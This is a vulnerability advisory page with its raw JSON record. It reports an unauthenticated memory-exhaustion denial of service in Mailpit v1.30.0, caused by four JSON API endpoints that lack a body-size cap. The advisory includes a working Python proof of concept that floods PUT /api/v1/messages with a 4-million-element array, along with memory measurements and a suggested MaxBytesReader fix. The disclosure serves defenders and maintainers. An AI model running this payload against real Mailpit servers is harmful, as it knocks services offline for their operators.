GHSA-28PQ-6QXG-WG5R

Vulnerability from github – Published: 2026-07-01 20:56 – Updated: 2026-07-01 20:56
VLAI
Summary
Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)
Details

Summary

The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only POST /api/v1/send with http.MaxBytesReader. The four other Mailpit JSON-body API endpoints PUT /api/v1/messages (SetReadStatus), DELETE /api/v1/messages (DeleteMessages), PUT /api/v1/tags (SetMessageTags), and POST /api/v1/message/{id}/release (ReleaseMessage) still call json.NewDecoder(r.Body) directly with no body-size cap and remain reachable unauthenticated in the default docker run axllent/mailpit:latest deploy. An unauthenticated remote attacker can post a multi-million-element IDs slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.

Affected versions

  • Mailpit at HEAD 67a7ca83ff759082d2b86dda07eb5bb3dad404e0 (v1.30.0, 2026-05-14).
  • All versions <= v1.30.0 (the release that shipped the GHSA-fpxj fix). Versions < v1.30.0 are vulnerable to the original GHSA-fpxj on /api/v1/send; version v1.30.0 carries the sibling-endpoint gap described here.

Privilege required

None in default deploy (no --ui-auth, no --smtp-auth). The four endpoints share the same middleWareFunc wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With --ui-auth=user:pass configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.

The incomplete fix

Commit 136bdde ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the MaxBytesReader wrap in exactly one place:

// server/apiv1/send.go:45-48
if config.MaxMessageSize > 0 {
    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}

decoder := json.NewDecoder(r.Body)

The sibling JSON-body handlers were not updated. Side-by-side at HEAD 67a7ca8:

File Function MaxBytesReader? Unauth in default deploy?
server/apiv1/send.go:45-48 (SendMessageHandler) POST /api/v1/send YES (50 MB) YES (via sendAPIAuthMiddleware falling back to middleWareFunc)
server/apiv1/messages.go:107 (SetReadStatus) PUT /api/v1/messages NO YES
server/apiv1/messages.go:187 (DeleteMessages) DELETE /api/v1/messages NO YES
server/apiv1/tags.go:54 (SetMessageTags) PUT /api/v1/tags NO YES
server/apiv1/release.go:55 (ReleaseMessage) POST /api/v1/message/{id}/release NO YES

The four sibling handlers all share the shape:

// server/apiv1/messages.go:107-115 (SetReadStatus)
decoder := json.NewDecoder(r.Body)

var data struct {
    Read   bool
    IDs    []string
    Search string
}

err := decoder.Decode(&data)

No MaxBytesReader, no body-size cap, no r.Header.Get("Content-Length") check. The json.NewDecoder streams the body but each "x" element materialises as a separate Go string plus slice-header overhead, so the unmarshalled []string slice for IDs grows roughly linearly with attacker payload size.

Vulnerable code

server/apiv1/messages.go:107:

func SetReadStatus(w http.ResponseWriter, r *http.Request) {
    decoder := json.NewDecoder(r.Body)

    var data struct {
        Read   bool
        IDs    []string
        Search string
    }

    err := decoder.Decode(&data)
    if err != nil {
        httpError(w, err.Error())
        return
    }
    // ...

Three other handlers (DeleteMessages, SetMessageTags, ReleaseMessage) match the same shape.

Reachability chain (default deploy)

Listen()                                  # config/config.go HTTPListen = "[::]:8025"
   ↓
HTTP server                               # server/server.go:177-186
   ↓
middleWareFunc(apiv1.SetReadStatus)       # server/server.go:178 — auth bypassed when UICredentials == nil
   ↓
SetReadStatus                             # server/apiv1/messages.go:87
   ↓
json.NewDecoder(r.Body).Decode(&data)    # no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]}
   ↓
RSS grows ~28x relative to payload size

config/config.go's MaxMessageSize field (added by 136bdde) exists and is parsed from --max-message-size (default 50 MB), but it is checked only in server/apiv1/send.go. The four sibling handlers never consult it.

Reproduction (E2E against axllent/mailpit:latest v1.30.0)

# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)
docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest

# 2) baseline RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 8.473MiB / 5.772GiB

# 3) trigger
python3 - <<'PY'
import socket
N = 4_000_000
prefix = b'{"Read": true, "IDs": ['
items  = b'"x"' + (b',"x"' * (N - 1))
suffix = b']}'
clen   = len(prefix) + len(items) + len(suffix)
s = socket.create_connection(("localhost", 18025), timeout=300)
s.sendall(
    b"PUT /api/v1/messages HTTP/1.1\r\n"
    b"Host: localhost:18025\r\n"
    b"Content-Type: application/json\r\n"
    b"Content-Length: " + str(clen).encode() + b"\r\n"
    b"Connection: close\r\n\r\n")
s.sendall(prefix)
rem = items
while rem:
    s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]
s.sendall(suffix)
s.close()
PY

# 4) post-PoC RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 455.8MiB / 5.772GiB

Observed: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28× amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.

The same primitive reproduces on DELETE /api/v1/messages, PUT /api/v1/tags, and POST /api/v1/message/{any-id}/release with identical body shapes; each of the four endpoints individually reproduces the same amplification.

Impact

  • Pre-auth remote memory-exhaustion DoS. Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on [::]:8025. A single TCP connection sending one ~100 MB JSON IDs body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710.
  • Disk amplification (secondary). The IDs slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For SetReadStatus, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in len(ids).
  • Same threat model as the parent. The maintainer chose 50 MB as the default cap for /api/v1/send to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.

Suggested fix

Apply the same MaxBytesReader pattern already proven on send.go to every JSON-body handler. Concretely, wrap each of the four sibling sites:

// server/apiv1/messages.go:107  (SetReadStatus)
if config.MaxMessageSize > 0 {
    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)

// server/apiv1/messages.go:187  (DeleteMessages) — same wrap
// server/apiv1/tags.go:54       (SetMessageTags) — same wrap
// server/apiv1/release.go:55    (ReleaseMessage)  — same wrap

A cleaner shape is to factor the cap into the existing middleWareFunc wrapper in server/server.go, so every API handler that is not an upload-style endpoint inherits the cap by default.

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48824"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:56:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints  `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage)  still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.\n\n### Affected versions\n\n- Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14).\n- All versions `\u003c= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `\u003c v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here.\n\n### Privilege required\n\nNone in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth \u2014 still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.\n\n### The incomplete fix\n\nCommit `136bdde` (\"Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)\", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place:\n\n```go\n// server/apiv1/send.go:45-48\nif config.MaxMessageSize \u003e 0 {\n    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\n\ndecoder := json.NewDecoder(r.Body)\n```\n\nThe sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`:\n\n| File | Function | `MaxBytesReader`? | Unauth in default deploy? |\n|---|---|---|---|\n| `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) |\n| `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES |\n| `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES |\n| `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES |\n| `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES |\n\nThe four sibling handlers all share the shape:\n\n```go\n// server/apiv1/messages.go:107-115 (SetReadStatus)\ndecoder := json.NewDecoder(r.Body)\n\nvar data struct {\n    Read   bool\n    IDs    []string\n    Search string\n}\n\nerr := decoder.Decode(\u0026data)\n```\n\nNo `MaxBytesReader`, no body-size cap, no `r.Header.Get(\"Content-Length\")` check. The `json.NewDecoder` streams the body but each `\"x\"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size.\n\n### Vulnerable code\n\n`server/apiv1/messages.go:107`:\n\n```go\nfunc SetReadStatus(w http.ResponseWriter, r *http.Request) {\n    decoder := json.NewDecoder(r.Body)\n\n    var data struct {\n        Read   bool\n        IDs    []string\n        Search string\n    }\n\n    err := decoder.Decode(\u0026data)\n    if err != nil {\n        httpError(w, err.Error())\n        return\n    }\n    // ...\n```\n\nThree other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape.\n\n### Reachability chain (default deploy)\n\n```\nListen()                                  # config/config.go HTTPListen = \"[::]:8025\"\n   \u2193\nHTTP server                               # server/server.go:177-186\n   \u2193\nmiddleWareFunc(apiv1.SetReadStatus)       # server/server.go:178 \u2014 auth bypassed when UICredentials == nil\n   \u2193\nSetReadStatus                             # server/apiv1/messages.go:87\n   \u2193\njson.NewDecoder(r.Body).Decode(\u0026data)    # no MaxBytesReader; allocates 4M Go strings + slice for {\"IDs\":[\"x\",...]}\n   \u2193\nRSS grows ~28x relative to payload size\n```\n\n`config/config.go`\u0027s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it.\n\n### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0)\n\n```bash\n# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)\ndocker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest\n\n# 2) baseline RSS\ndocker stats mailpit-test --no-stream --format \u0027{{.MemUsage}}\u0027\n# \u2192 8.473MiB / 5.772GiB\n\n# 3) trigger\npython3 - \u003c\u003c\u0027PY\u0027\nimport socket\nN = 4_000_000\nprefix = b\u0027{\"Read\": true, \"IDs\": [\u0027\nitems  = b\u0027\"x\"\u0027 + (b\u0027,\"x\"\u0027 * (N - 1))\nsuffix = b\u0027]}\u0027\nclen   = len(prefix) + len(items) + len(suffix)\ns = socket.create_connection((\"localhost\", 18025), timeout=300)\ns.sendall(\n    b\"PUT /api/v1/messages HTTP/1.1\\r\\n\"\n    b\"Host: localhost:18025\\r\\n\"\n    b\"Content-Type: application/json\\r\\n\"\n    b\"Content-Length: \" + str(clen).encode() + b\"\\r\\n\"\n    b\"Connection: close\\r\\n\\r\\n\")\ns.sendall(prefix)\nrem = items\nwhile rem:\n    s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]\ns.sendall(suffix)\ns.close()\nPY\n\n# 4) post-PoC RSS\ndocker stats mailpit-test --no-stream --format \u0027{{.MemUsage}}\u0027\n# \u2192 455.8MiB / 5.772GiB\n```\n\nObserved: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28\u00d7 amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.\n\nThe same primitive reproduces on `DELETE /api/v1/messages`, `PUT /api/v1/tags`, and `POST /api/v1/message/{any-id}/release` with identical body shapes; each of the four endpoints individually reproduces the same amplification.\n\n### Impact\n\n- **Pre-auth remote memory-exhaustion DoS.** Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on `[::]:8025`. A single TCP connection sending one ~100 MB JSON `IDs` body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710.\n- **Disk amplification (secondary).** The `IDs` slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For `SetReadStatus`, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in `len(ids)`.\n- **Same threat model as the parent.** The maintainer chose 50 MB as the default cap for `/api/v1/send` to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.\n\n### Suggested fix\n\nApply the same `MaxBytesReader` pattern already proven on `send.go` to every JSON-body handler. Concretely, wrap each of the four sibling sites:\n\n```go\n// server/apiv1/messages.go:107  (SetReadStatus)\nif config.MaxMessageSize \u003e 0 {\n    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\ndecoder := json.NewDecoder(r.Body)\n\n// server/apiv1/messages.go:187  (DeleteMessages) \u2014 same wrap\n// server/apiv1/tags.go:54       (SetMessageTags) \u2014 same wrap\n// server/apiv1/release.go:55    (ReleaseMessage)  \u2014 same wrap\n```\n\nA cleaner shape is to factor the cap into the existing `middleWareFunc` wrapper in `server/server.go`, so every API handler that is not an upload-style endpoint inherits the cap by default. \n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-28pq-6qxg-wg5r",
  "modified": "2026-07-01T20:56:10Z",
  "published": "2026-07-01T20:56:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…